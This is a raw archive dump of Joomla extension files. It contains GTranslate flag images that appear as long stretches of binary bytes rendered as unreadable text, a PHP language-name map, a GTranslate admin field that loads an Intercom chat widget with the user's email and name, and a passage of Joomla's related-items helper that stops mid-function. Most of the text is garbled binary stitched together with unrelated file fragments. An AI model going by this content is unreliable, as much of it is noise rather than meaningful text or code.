Zĝu#]��.w�����R��U�PuUU0jL23��s�b!�n��ι��{N�1:O���8׉�Sl=yq��?|p5E��Wn_���Q�� ���}�^���+�r�{>j���Bh�_n��uI���7�YOY�V�=���Q1�h����_���t�Շ?�޾#ra��p�b#?�NA
EQ4擉����PU3݇EQ�
����vu��T��j0����+g��/_��ަ����w���u�&���	N�>���E[+՗eN&��SZ��&���cdy}qIu�XbY��\�ʀ-\GM%��% Y)Y��F�k�?�h�WU���IEND�B`�mod_gtranslate/tmpl/lang/16/bs.png000060400000001163150746170550013013 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�?hSA�?������E�Quq�@NJ����h��
�$n��RT��l���I�Ʀ�Rҗ>��w�w��	H��|�-w�p���2���ͽ����8�u����π���^�i��
o�p��7��8���-r�ZS�=<{��s�M�e�/�A)
���Xm����%�N�����	X��.�*��oV@�H�b�/%�\��N��%L��^�u�v"TD %������0�ē��Q���r/#ww�v"Dt#B��]�S,�P\tx��+�_L14pG�s&��#�,&�Äe<�o	|�g=�hm�BP]p{8I����IN_̀������)P&B����X����$��38�T������!D�m6��*�Mҙ�XpO18�=�1A�@�!�l;�m[��a��e�L�q�J��,gG���i��mT7�u?V5�o���I�|���_���� ��.�@M�f�b�(@�����D.9"QIEND�B`�mod_gtranslate/tmpl/lang/16/lb.png000060400000000557150746170550013012 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��JC1��I-R��A
;����)\|_A�
�CK�4L����
�M�[�|_��Q"�)(�����a���~y�듧�k$%�7�����_^�#�4����}t}5Bb� yO����Bk�w?穵VJ��
0����
l5�s�ؠ��ۇg��1ۘ:��{�^�8��m��d��1���UG�oMkr�d��v�0�	pY(n���n�t�A�:u��ˬ�1jM�rIEND�B`�mod_gtranslate/tmpl/lang/16/kn.png000060400000000657150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/ru.png000060400000000536150746170550013040 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�9NAE_��e@���q
R��-81W�
�DY����0�Hll!�Y*���~��1%���}
|@cf�Q�EVPO��΀| �b���Mps��겡�R�φ���E]�yo���w������7˒��	�s0��R?O�o#����=�eI�v��r�k�N=� �`�p�xUl������W�h4�������-�&{'V#���3�wX�o]��IEND�B`�mod_gtranslate/tmpl/lang/16/ku.png000060400000000726150746170550013032 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYs``�lrYtEXtSoftwarepaint.net 4.0.12Ck�FIDAT8O�R;/aݿ�J"J�O@E�T��
�^E�*5���H�G<6�Ȯ�܇
��{�o���g��fOrf&7���M@[t[�y�!���J��۠��@9�'���(ӬB�
��2����\�Cng��E֟5Q���͓�y��$�����(�I�
E�D<A~r9Iv��#�N�n����60�O�<}�nn�I2��I��6`|x됳��A����a�=NP\#��?,@���TӼ�9�"�9B6*���K��	��\O�u�NA��A��K��P<��}^�\WM��h|�៻���Eg�:��'?�}gAd�gIEND�B`�mod_gtranslate/tmpl/lang/16/uk.png000060400000000617150746170550013031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�AN�0E_�4�H��q$��+�a��&N��H�)�vƒ�,l��o[�������K���&�w7WG(|\�L�QV#<�M

䮉,�c�m��N�]���&�@D�-�y-�XdJ!�b5@m�ϥPGw(+��i_[�ew6{�x9(=�j��J����\SC	��0ƭ[0�B�;bO�^����H�nR���%W!��X����k�S�O�&�(�$�1�?2y�+ o)Y�Dm{�?�ttf�tIEND�B`�mod_gtranslate/tmpl/lang/switcher.png000060400000000317150746170550014011 0ustar00�PNG


IHDR
���sBIT|d�	pHYs��~�tEXtCreation Time01/09/10ܹ�tEXtSoftwareAdobe Fireworks CS4�Ӡ'IDAT(�c|���"###1ꆄB&�T���Q��QH�(5/?�Q-IEND�B`�mod_gtranslate/tmpl/lang/arrow_up.png000060400000000257150746170550014022 0ustar00�PNG


IHDR[6�sRGB���gAMA���a	pHYsd_�tEXtSoftwarepaint.net 4.0.12Ck�IDATWc���?���).�`Ad�Hp)��y}4IEND�B`�mod_gtranslate/tmpl/lang/16l.png000060400000031600150746170550012562 0ustar00�PNG


IHDR�4��tEXtSoftwareAdobe ImageReadyq�e<3"IDATx��}	�չ�W�w�ҳ030�>���FPp��5j�&qK�7��}�����Kr���1.�F�FīAvgg֞��饺�wΩ^���ui1��u�:u���E�g98r��Y�;�#F�A����{=��_��ڜx��-�F"��?�D�H"j{\��Ɋ�&�F+�|���++)��ߴ��}���y�V	^Y�&�ΙS�}>���8�J�I���<�ݵ�֢�0������{7c����jdAB��0 ���7
�1mD1:g��ނmo�̴
j[7X�v(�i����	5O���pf�G�1u�h����ݐ�~ �)�wȍ�o�7��ȳd�GK��`@�L���F3{�	��ֳ��bQi��Ǒ�9F_t#\��T��>TUT�KjG���B�~�)��9��'σ�~�s�}8y�����֛�{�_�'�*+��.�Q[�ć�~?��JR�Av��pB5^Y�C���sxy�~|�g�A��쥀�-��O�«�Ɗ	]�qB�F�Ͽ\��G��{��e�t��U��7$c���W\���������3�1i�sX�#��-���h�t͞L�V��|��oe��'�A�O/ĕ��֭����YC΢a΅ *��9>���$ ��s�u:���c���z�'�-���%�ϛ�����,a^�c�	c�5�Mh��C���,2>���c
b��?��0��d�Z�V�8j*����K���:����6f��ܠehYV7>�7�7�����@g������cI��u���o @b�L�L�"��������h���97
���aOz�`v�dxC^v/-��F��
0��v��PU<�� �^L1]�NpR��.v/-�$@QX$-.��
C!U�3��L+$s'�L������%��K�h�(�(���?Ђi���}+�M:����0�l>�u�{dv/-�D$>����aG�L*��֞��;w�
N��
�i?�ͭ�{d�S�L�@L��Fn��j�nz��&�"�h�1r8��^O�N��2I<��l�3�_5�C��6e,��7�<+< ��9��s\%}������h}�af�(IҰK&ʰ�|�S7��]FP)��Jka��=q����(�f��X8���\0�@&��M�\���n6>��v���i�#�>���l\� %�X��s9���b:@��p��Zs�
(<���=>�ь�<3<��O����qY}޳h��pԬyN�(+�\8�jB�	r��"�r���J��h�V�w��%"���H�X���>YlQ�7���\V�x�$ �Q��B�!4� yL��5N!����"_�3�!�F"�y-~D��ᬰ��¯[�6Sځ���W�T�>m�P�zUh�nNmDSq1�*�iG��DfY��i�10o"1Y7	8Й��
Ԗҭ���G�������e�x����K��^�*#�x�sCR�~y����`ΔJ�ז�Q���#�S��z����Ϥ��ix 2�T�����
�<��}��ߚ��
L�NE��XL��!2������
�,Mob���Q���]�턵U��`/�&���g��	�4�`��6Ã���� x��5O�?�
2$����f#��QA�:�p�Y�vs��C%
���r*P����[s9)�%�`_��$�<?<8�կ{L��ɒ���L���4�X�W�Q�m�ԤN(p��T�H��]rFQ&a
E
����jx2,��>��*~��n����
�'@�1����?�D&�����k����'�ׯ�!a��][��H���'��?�Gm8V����J�)��ω��ehYSrmԏ�<�{o+*G'�JQ�8�
�hʏ�!?Q�:O{�o��1��P�����eE��
?X���t$&y�q�w`�'.ru��FN+i�=����Fz4�+)��s=p��g�ꮰ2����m�h��
��B6VmfEU����x@"8��0��y[�xe�-���M�`�\r�TLW6|��@Ps����
<�n?DIΕ��r�U�G�A�ǣO|���~#wr���H}��!>Q�[o7�ҟ���[����^v��~C�P��
G�T� ����#�����Y�[�J6�\r*1�6�gǚ���%� azy���q삤XPA���k�-�9?�%M���̌	��8'K�x �O�&D����F���F���ux����'�޻�b�)��Ip�A^�^�2���oe�P�f��?�Ϛ��$ߐ��3�T����eG��-M�N�е���I�]?���T�A4;��1$��14��a�>�������76��˪ODN��׆�ǪS8��``ǎ���
y<��� �#'<H��p�@�N<j<�X�/!LY�P��0$k��L	����\���t�&/��� ��yy��A��q�7H~���
ٟ�q*��0{zM��%S�7��'d�#���o6kt�n�}��7N������@�n���Y��>�p��	O�W//�hh�%"�}��/��"'a���B�l�䠊�(���577��^uc��v�2��%"q9�
����6�9gLdx@�i��'�'?�����ăE��M�6m���{�y�rC�8@�e��7��3�j�'i��N�I���ߟ]�ηh�{Ky
���
�3��_�i��d2C�E�ӹ�/�?��D����"|���A �#Q��U�1w1��� %x�8���P�f_d=�`�}H@I�"�-�$�u>Ytj�߹�e&<H��Ռ���F��%�+ج���:ELQ$��
���~o>g<XtT���͛x <��[���x7'� F� @�?MBʹR���'Msre�z��̩�M&�ʄ�
�"D��lI��(˜�0Y����[8S	P<�Z��9�"F���8��F%Q#P�*���֤K��� Al'�{f��E�����E-����|��Q��I�daٹן��/<��CV
l��lU^xp#@E�#���$�Db�W]���������XeJ�7�fR����l8��縺��B�8�ooe,X没�_�����~AY��W����;�*s�Z���@uh"c�!���aQ��;_ʨ�+vXa��k�������e�5�{�+��U!s��p�-�=Z
>���a׀�I�੭�1�gxz��C5<���M=�xp��eG��\�L\ K�TO�u�W�ܧ�'��� �pn�D�����Q�a���Dr[�e���$hS}b���4���G�u���cQ^lT�S��r�%9�T�͝���K�GA�ۂ�Y������ǍB[w8�yH�+O���"D�,32e�9-v�Am$R�g���>��k�V_�3�ْ[/P���O$����+��.|�4<X��׆��I��U�UY;��vnj�A��1
f% ��e�/P?;4�un�6�t��}A����d�
�,
��s!���E���+����%��)8X�́!��2�y�L�7��c��1�����x�/E<SF�5`F6lBd�66h���W�!r�-7���/�"��x�.�ж-�@�m���L	UXr�66#��S�0|�:��yy>�*cЗI�bM���'�R�� ��'m�Y�kM
8�
�(�Gf������,mS�����B�	�%�9H>Q��"8柒��H�PF�_�N����kY�z��΃���3r(L�صkװZ&!p�����:A��*�2�-2[/
��}|�������k�����fƃC�a�����9?a�DTP�aC�b�jk
���[o�ZTTT���ވT!I�肅QAV�_�
�Νd�+p��}�Xt�YX������3�D&�:::���
��9�g���K�S6�t��nE ������Z��P]]ͺ�7`�<���>\�?�#K�;^R5t�����@j@D�y��|�r|�`9��!#�v;�Af<ذan��f��f
n��L��
'd� f����i	�o��ݳv��t<�X,��%���ओOŖǾ�ww���0�8���x��'�+��-Z���n����Ԅ�𤱺1_�0��Y�7v�ޝ�c��iK:
�����qf��O�ǃc���.2����,��ilz�rt}��Y)$�@��f�4�8�����Ϙ�Q�����7v_N�Gjn�iLv�x���F��c�u�f���x�?f._��>q�BPlI��Q8��]d���
�Ot�����'.@�L9�j)��&m�-U��`���'��7���^NH�^2�3�@�M1�dK�O�ϴ���48�W���g��]��_Zy��?H�rnA���x��(&�h��,~A�H
�E�29�nd�oL�w��2�7��5��$p$<������=�4��ѿ��ލd�R����K�e̮���s,(�>#{�Y��zX�O��>���Q"�ԘB�/iG�.ik�b�&���t�D1�>D$P?Δ�P�����$;�?�a DLF˅�w���Qt���C��@��R�c̈�m��^�e�b�,�bR�7�O�Ā���a^r�"'j�;"��`o/0�A�
\���2�cf�'"�~L�*D[,󼰷�(3bW�xUH�T�\6��D�>z>�A����q�-��
�`�I,1�LK 5x�g*VN�o3��a;L]���3�)���Ot!A�,h�Ub��fH�O1��q�zD���U�(�8X���oQ�ǃc����G�⟟2|ﺬ0����������}�3��@���<�}:�>�z���Z0�}��? �ABFPG�/�< f�4�D��5eF@�7���P���j	��Ohv�C���.�Q��4�;9;�2��ֻ���Ѿ��������4+c*�����Iz��T� S�󎏌�I�~9����O^`Cy�
/���
�Y�)��%6x��F����?�[4��e�E�J�|�;r�_��z��o�ct��#����഼����>qѹ4���z�>Q�c��\Q��#�;v��dy�AH)��Zf�}by9h�$P���V/[�yފ��CQ��-Y�	]\K��@#pZ���lF����I8�\Fc|L�q�tqu�!�U�sc+��QL�2���Rt
��H��y�R`��Q\gA�{�"��-�D�ث�NN���I,D���Fٰ`��S�k�pQ>!u�<�Fuύ'y��=Hf�&���Kw�_��F�?��&�@�%
d�	���<7<8�����[�N~>��[�RX��g��~�;�<��0s|i&8�Φ~����u�x:MVPY��������Gh��b�����
�p,�y�K�U�DϬ����pY8����*w��@%�K�<��"�F��`(�ԁ�~��+�EVi�#�%������!�W�i�(!/�L�0%�SRNH\�t�|Ԑ_����W��i�e��5�0��+�d�S��PFYA=��K�m/;<��T����c�
-#��!�8����g����2"�cz�#?�P���qTMg2Yf��s��������}T�h��sǿ��@��L;<P�H&��h�|y��z^Y7�����9�J�_c"�A������w"ܑ���٦�	��S�PRR�_��X��l�yP5�7�$��u0��R_��f9~��g�F�RG��09@�WHE�*m��O�ģ���K���B�+f��:f�f+s�z�p�q%�B!��fNJˉEX9LJ�B5Pr���k!�iA�wfo~���1Q�`�e��Gl�{�]�s(�!p��:�l�T$�ڛ�f�p�Kկr�}�6ѵ��ڗ�9��@D��¡GP�� ��֕�Gݨ�fz�>��A���`�_��e��b���i@Ãה�Hq��'6ֿt�"<���jEQ�����nvf:h$�y(8�Ñ:"xl�',�#u%ܸ�ם?5e�=�XJ��Ao��Gq��:\vf-:�Æ�2��[z����i��OOa��W�4%:D>9���m���_˘eg�h���צ|�Ď�k� tq���<u��#�ʒ���=���?ϗ��
"Ogr���gb����w��A���K���,9���_<�t��P'�P<(�1Jb�
����2�����Ć*нy���P��H����'�T_�J�sb(���]P��檦Cu�'-���F�
���/&��y<8�x ���K^N��n�=�J�vw�E��^���`*-��"�ɗ惔}(�X��P^�ʬ�~m#��_�n��׆��L_&<h]��gRt�0{R~��5��1o�V���?�4�Y�?��خÃ��'��2����܇T�ޛ������I��kh�!��p�1���!�n����������d ��߳a
ƘFK9Ņ�߲ �١�ʕ��AG�Fm��&��g��֭�L�/D˳���Tc�LbX�?�@!52\���[@��1@=mT����$��4�?�]ط��/`U�oz��x3c7���`„	uiJ�ߟ�}D�'��9q(z�2��?�*�>8//|Y����?1-�Aߵ�2u�����(��}hȯ�x*+KP]i�Äq�O�Ɔ���C|��V���-8�i��-�4�r� D!
[���0Ա�6�pQ���f
������Pk!�Q�H�x��v���+j�����Q����fpqw"�oO���	ਜ਼�eʅ���Mϣ�aW�@�iMMuI��������J|φ����_H��R������v�M�b[�I��t��/�R���ʾ�����C0!�_F�(R���|(�>~���!�C�Jx�s�Q2$����<�?�j)�;T���.�*+��m����cj])�,��sL$N=�ӹ�U�@ ����6–~��N�/�#��U�a�D�u*�tV��a�J�gz	j{��+=+����F_8�_�?��\������A�?���o<*<X��?qt�pԉ�ٮ�O���C|.���A���{���l⸔��?�E.�Z�D�q�:{�Nh(q���O�-({���'&��5��J���4eM^��4�D�iRONV
C~ey��e�)_'/�i�Ky<�W�A�ET���C�93��!}>'��dʇ�0м�d��&�Kx�������4S>|?WN���|���m�]'L%��I���H���Ϲ`Y�3D��pDN��1!���56u�x����9��;y��A:_x�o��G�k���%�7��sj��ggid?�V�e����!,��
L�
{˷n��Eu��Ʃ��&]�Ґ�����$��`m$��?���ixơ"�x��F1e�"di�š�;+:u�Bj�����7��4ʐ�By<8fx�q�%G���sz�
̺���x�VK,���x xA�K"�	Qj���2yj��^ŦL��,q���f$���B��x sd�Ն˝�,C�-� �����.D��D�ظ�O�vH��(�Z�0�mR���;�,"��2��Rg<�X����	��S�&�Ng:�j�S�H;��Oj<H>W�ߝ�;�z*�@�O����A
�4�h��GE"�
.r�I%zڰ�?15JhӜjw�n[F
RN~���EU�޸}� /�lzr6+k�X��mUE�0�y��J�~,"i�=޼}���}������/�n�>!7���k�'�ؤ���`���$�~���0%��J��0�@8Gy��䊆oF��~�`��ז��KJJ��x��ACC#���v�����Ir���~m������	�ļ?R�xp⪽��	?�V��'W߾@#	&����k�/��������=
ۺ�PG�Êk�K�ڵE�~͘��&�l2�֠� ��=,�ucg��M����`Ix�J�vN��Oq�_M�h�X�
�qEN<r�X�����`��e�a���MC}DFy�F� �z(H$��Ag�t=l�X���`Ԃ���ҩXw9������.�l�-���W�p?;�m>��`��m�	����q��Z��uu�A��B"��?}؉M��:Z�������]x��h��񓭭h�#����i)_rί��E�mmJ�_w(���G�_�
��cG���H����-=:ya󺄼 �>oN� �&��#����D>HUak\�ިP^f�@s�Q�ٛ��̙�GΧ���?���a.u1'7�B��	��-��q'\���{��!�9�_0�f_P�S�wn��������ޡ�[3gڇ%�����v��H�c��Caň�M�}X�*g�_�65�\Kl�b#�/��9~����#�&�
�.�Ӑ�@���Q���ϟQUjܛ(�LII�K����C�A&�i�X�O�t��X�L ��A�b��l����C��C�-���W����C�[��Z��ϼ�ɗ6}�����?q(��?��R�'�?��["���Kb��?`��t�B8���"��1�/틁]�Q�s���0�g�P|	���~�2m����H允XǍc�����ڴ�z� ����k�R~󛈼��P\o/����*���YQ���~޻���ς+,"�,p�}6�o�AO��&��XL������C������a*(��ᇘ��Z7X>�T{�@��!���#��c0a�Q�i�@w���)����P��
j�)��V�H��"�l#��+�'BB�CU"�
�Ǽ���Fڞ���Fx�F��'C�����nO��H4 �T;v`?b{�0�G�����=MS����_���o��Xs�	$��ֳWT�����&
b�|�7f���A���9S�ծo��Pd/ ��͔�"�0��C8��$U�x��ii��A8�1�
�Ӧ�+5zJF���S�9Ft������\�����r�9����t�Y˸:{��
��X��a�g���`,m1��ӣh�՝p�
��
���=ҵu����Z`֜���g��Át!�k���'0L$�x�,��\�5��47[��z�E�#����|��N�p�{˸�r��Kn�ol�{���̔O�<E� ^�ԏ�ft��ď�L�s�:�i=�?0���ix0��9
���m�/�
�b<�L���dvv��{bd.T�s�j����o�������n�ʍѡ兢x�<8��A���q���,�	�NV��]��.t�J�k���:Mz'O��?�hw���C�-���%Q'�8-Q�x�-yIfLĉ�.��e	���x
7�.�TB'}��M1��/��e��c�v#{ĥ�D�BѺ�Dج2�|�*��?�4Y�#���k�[�E$���'����i��L.��M8�0�ǃc�W��ԍ���$�^�����ͱ�&ቦ��R(K����[���+�	ԡ�Q�߯
�*|}�^�:47:1��0���!{�_����Y�[W(�h�
x�#l���P��ƪ1��d��D`�[?7]~���.ܾb������NJ�yI	"z��v�����dZ��7Ʋ�]R@���k@� \=�}U�*��Np0��'��!%����}f�{��)3�b���HwvN����Ѡ#�A�g���3�dl8���ǃ/����~��nO��d��}(y��I�O&�P�r"&����$N�il�^M�L�FQ�)Rh�"G�a�;|{c0���[�@��m�|i����H�*�(u�N�]^X��ZT�rA�u5�LP$u�h�,$�0&;z�t׷���v��R�Nf6���V�;#F����{O�܌��d��=��r���g��~��?.N�P~�f
捙<��cf��u�Q����.;J}�Z�yA��G�Y<S�H��U{
�Dл�F�����Ad�V��P�����d}��F��Ӎ�h�O�@qY�·�7R}bD��a&��@�y����Y��"'δ�SK���T�d؆��b3�&
R�R���y<�\� 5�Y
�>y���J�q��O�
���4~A&�)�х���[Q��|X&�B
�x}3�5�0���N�ɚ���#�M�l��m@[��<����=z��r_x�"��6�<�yK�U�ͅ�>���|̜���T��g1xp��N�6�<�Xb%��S�.$����Ǧ����«��L
�|�P����[a�(W�`�jg<rM���A�q���`���v�,VXI��x��	��Y��{���SM�4?���V_�&f2U[F�������g����M�{UN����ae��1Lz�1��s�cpk')\��
�&5�yէp
ư��h�t`jk����!�
�bZ��f]	2�1�U�Q�9���y�X�	X����@G�VR+>���˳J�V�/<�5��94��(��O~3������݆����nU�Ln̤AQ8CZ�<s<m��{z`������L!�D-Y��Q0�����W9�?���(��ֶl���#E;:a
"e%9�TM�G¸q,���4��OU�A?,d�4d�?J�4$2i��E��T.[4��#
�ۇ�^?��cp�G���6���|Uby'U�s��FV�E�d�5��XD�&�_[Y,ґe�`��cB`;[?%]؋Nǰ��xp��`�UO��7���%V�^�%Wgϕ�����FQ��)��&pa���:�f�p�N@��M��5����%N�nݜ���yv&'L2y�m&�h�!�������u�"��0��'�gŃ�n��ڮ���'4��4d
h�d
�,}f{B��"ݒ0�s�N�A��J0q@//D
���y� �{�h��g�~�	�	��I�G1��W�o1�
�/�&��_�����S|�����a#+Y�y�7���.�r�ȵ0��/���b"�?nE�kT<�J�A�\^(��6#�U]�ȸ�4uL8�Kp,\i��+�u�-~_�(�\�u�	�
X��ɱCv���	1�m�7(�����̥��
�{B�B"L <@��&��
�TB
��9D�lRq��[�`�B�
"@�QE��w�T$+���S6�WX	�0��k��#�h[��w�nw?�;9D��i�L�Cbє�j+��$:M�e����'��gq=�H��Z�6�=&Ru���`�Yʂ�a�&�gI�Tʤ�,�w�,��G�e� �0��ྞ�ӌ��l��!E�$���
Q"W��9�A�q<�����1
*�@
��d�y��	""[I�<&�[�	��bѻP�b��0j����>[S��U�6�B�ق���w80���Cԫ���:܅OIK��j��"�(�2�e&��pv�V���C�>8��]��������~,�ɔߏ%�K~?�/�~,_�/C�T?�)_Z���N=����+�}��d��֓��g�!M�H�Bu��ڂ�1��!�܄�ӕKs&�:�NV�9ے6�b�����u�SR� ��usݞ9E@��j��C�b�r=��Y�\�C�An������X�}.Kc��0�k���w]�ao/��w{K�J ~T��6o��ڊ���F�5��F)*B4��2ۑ�IP�)�g���B����
������/���ˈBf&Ȍ���8 �����	�LJ�����t����A �������z<�E������Ńy�]�Y��Ov�a��W�~�Y���;��8T"��a^>��b�%�xP��;OLq�?J#F��:~��[h�?f�@q�1�5���[����i�;rn=!�|7�6MIO?�'��I| tc|[?�}�C���k6��>Z��Ӌq��|{o?���D���aø|��tY
�D��������6!�/�ڰ�FA9��/^i��u@�yY�$�~\�kS7�>�4DlVf���r<1�VIA�'o��塳�ߟ�7��
�|��j�8"����U����adX��k{�O{����
�?�]X�A���I��6��Kj�w�'��X�ƃSz5S�]V�؋��z�����P�
�1�[Onɧs[y\�'��y$�&�uak�
�E�ݞ������啎E_U:/�,�p�e�|�4�o�:��p�R�`�=��B�����Քez��"�kSS��ţ��b-A�{�B���Ō�+/W]%��KN���A��w_�=��>޹q�I(��R���ׇó����!��w?!3��G%�;,��S��&�a}���-obdUUZ?5��aO���t�����w 5�;��*ks���W�%�����i0hx*��BKR�;�~I�3��1�
F���$��$+��#�I?�3��r���SXx�oIm��a��yy��t��>�t0��v��L����'Q�!�H�gB0]���I�N�?P�+�r&��%�_[R��o>Ouj�\��\���캙Z�+[�d�R��w|���$�殖��=+g���	h�l&t�5If/]^ZIU����;胗��^_�v�RX���,�g�[�3�."��&=eMz[A������}o��
/��u�k
=������0�Ǝ&����Aei�����O��
w=�;�.���ָ/T��@%s����i����^
yPb[�$ܬ%EV�l�d�����z�=?n��V����oxE�"���wlD,�%?R��f��}��׮œI��a�&<��A�����<�6�]�Lh�KR��_\���=�b��d�fa`��u�D���O��Du�ˆ�O�Y����Y0IEND�B`�mod_gtranslate/tmpl/native_names_map.php000060400000004676150746170550014565 0ustar00<?php
$native_names_map = array(
'af' => 'Afrikaans',
'sq' => 'Shqip',
'am' => 'አማርኛ',
'ar' => 'العربية',
'hy' => 'Հայերեն',
'az' => 'Azərbaycan dili',
'eu' => 'Euskara',
'be' => 'Беларуская мова',
'bn' => 'বাংলা',
'bs' => 'Bosanski',
'bg' => 'Български',
'ca' => 'Català',
'ceb' => 'Cebuano',
'ny' => 'Chichewa',
'zh-CN' => '简体中文',
'zh-TW' => '繁體中文',
'co' => 'Corsu',
'hr' => 'Hrvatski',
'cs' => 'Čeština‎',
'da' => 'Dansk',
'nl' => 'Nederlands',
'en' => 'English',
'eo' => 'Esperanto',
'et' => 'Eesti',
'tl' => 'Filipino',
'fi' => 'Suomi',
'fr' => 'Français',
'fy' => 'Frysk',
'gl' => 'Galego',
'ka' => 'ქართული',
'de' => 'Deutsch',
'el' => 'Ελληνικά',
'gu' => 'ગુજરાતી',
'ht' => 'Kreyol ayisyen',
'ha' => 'Harshen Hausa',
'haw' => 'Ōlelo Hawaiʻi',
'iw' => 'עִבְרִית',
'hi' => 'हिन्दी',
'hmn' => 'Hmong',
'hu' => 'Magyar',
'is' => 'Íslenska',
'ig' => 'Igbo',
'id' => 'Bahasa Indonesia',
'ga' => 'Gaelige',
'it' => 'Italiano',
'ja' => '日本語',
'jw' => 'Basa Jawa',
'kn' => 'ಕನ್ನಡ',
'kk' => 'Қазақ тілі',
'km' => 'ភាសាខ្មែរ',
'ko' => '한국어',
'ku' => 'كوردی‎',
'ky' => 'Кыргызча',
'lo' => 'ພາສາລາວ',
'la' => 'Latin',
'lv' => 'Latviešu valoda',
'lt' => 'Lietuvių kalba',
'lb' => 'Lëtzebuergesch',
'mk' => 'Македонски јазик',
'mg' => 'Malagasy',
'ms' => 'Bahasa Melayu',
'ml' => 'മലയാളം',
'mt' => 'Maltese',
'mi' => 'Te Reo Māori',
'mr' => 'मराठी',
'mn' => 'Монгол',
'my' => 'ဗမာစာ',
'ne' => 'नेपाली',
'no' => 'Norsk bokmål',
'ps' => 'پښتو',
'fa' => 'فارسی',
'pl' => 'Polski',
'pt' => 'Português',
'pa' => 'ਪੰਜਾਬੀ',
'ro' => 'Română',
'ru' => 'Русский',
'sm' => 'Samoan',
'gd' => 'Gàidhlig',
'sr' => 'Српски језик',
'st' => 'Sesotho',
'sn' => 'Shona',
'sd' => 'سنڌي',
'si' => 'සිංහල',
'sk' => 'Slovenčina',
'sl' => 'Slovenščina',
'so' => 'Afsoomaali',
'es' => 'Español',
'su' => 'Basa Sunda',
'sw' => 'Kiswahili',
'sv' => 'Svenska',
'tg' => 'Тоҷикӣ',
'ta' => 'தமிழ்',
'te' => 'తెలుగు',
'th' => 'ไทย',
'tr' => 'Türkçe',
'uk' => 'Українська',
'ur' => 'اردو',
'uz' => 'O‘zbekcha',
'vi' => 'Tiếng Việt',
'cy' => 'Cymraeg',
'xh' => 'isiXhosa',
'yi' => 'יידיש',
'yo' => 'Yorùbá',
'zu' => 'Zulu'
);
mod_gtranslate/field/index.html000060400000000054150746170550012634 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/field/livechat.php000060400000002625150746170550013155 0ustar00<?php
/**
* @version   $Id$
* @package   GTranslate
* @copyright Copyright (C) 2008-2017 Edvard Ananyan. All rights reserved.
* @license   GNU/GPL v3 http://www.gnu.org/licenses/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

jimport('joomla.form.formfield');

class JFormFieldLiveChat extends JFormField {

    protected $type = 'live_chat';

    public function getLabel() {
        return '';
    }

    public function getValue() {
        return '';
    }

    public function getInput() {

        $user = JFactory::getUser();
        $name = addslashes($user->name);
        $website = addslashes(JURI::root());

        $live_chat = <<<EOM
        <script>window.intercomSettings = {app_id: "r70azrgx", hide_default_launcher: false, 'email': '{$user->email}', 'name': '{$name}', 'website': '{$website}', 'platform': 'joomla'};(function(){var w=window;var ic=w.Intercom;if(typeof ic==="function"){ic('reattach_activator');ic('update',intercomSettings);}else{var d=document;var i=function(){i.c(arguments)};i.q=[];i.c=function(args){i.q.push(args)};w.Intercom=i;function l(){var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://widget.intercom.io/widget/r70azrgx';var x=d.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}if(w.attachEvent){w.attachEvent('onload',l);}else{w.addEventListener('load',l,false);}}})()</script>
EOM;
        return $live_chat;
    }
}mod_related_items/helper.php000064400000010267150746170550012234 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Helper for mod_related_items
 *
 * @since  1.5
 */
abstract class ModRelatedItemsHelper
{
	/**
	 * Get a list of related articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$db      = JFactory::getDbo();
		$app     = JFactory::getApplication();
		$user    = JFactory::getUser();
		$groups  = implode(',', $user->getAuthorisedViewLevels());
		$date    = JFactory::getDate();
		$maximum = (int) $params->get('maximum', 5);

		// Get an instance of the generic articles model
		JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models');
		$articles = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		if ($articles === false)
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return array();
		}

		// Set application parameters in model
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		$option = $app->input->get('option');
		$view   = $app->input->get('view');

		if (!($option === 'com_content' && $view === 'article'))
		{
			return array();
		}

		$temp = $app->input->getString('id');
		$temp = explode(':', $temp);
		$id   = $temp[0];

		$nullDate = $db->getNullDate();
		$now      = $date->toSql();
		$related  = array();
		$query    = $db->getQuery(true);

		if ($id)
		{
			// Select the meta keywords from the item
			$query->select('metakey')
				->from('#__content')
				->where('id = ' . (int) $id);
			$db->setQuery($query);

			try
			{
				$metakey = trim($db->loadResult());
			}
			catch (RuntimeException $e)
			{
				JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

				return array();
			}

			// Explode the meta keys on a comma
			$keys  = explode(',', $metakey);
			$likes = array();

			// Assemble any non-blank word(s)
			foreach ($keys as $key)
			{
				$key = trim($key);

				if ($key)
				{
					$likes[] = $db->escape($key);
				}
			}

			if (count($likes))
			{
				// Select other items based on the metakey field 'like' the keys found
				$query->clear()
					->select('a.id')
					->from('#__content AS a')
					->where('a.id != ' . (int) $id)
					->where('a.state = 1')
					->where('a.access IN (' . $groups . ')');

				$wheres = array();

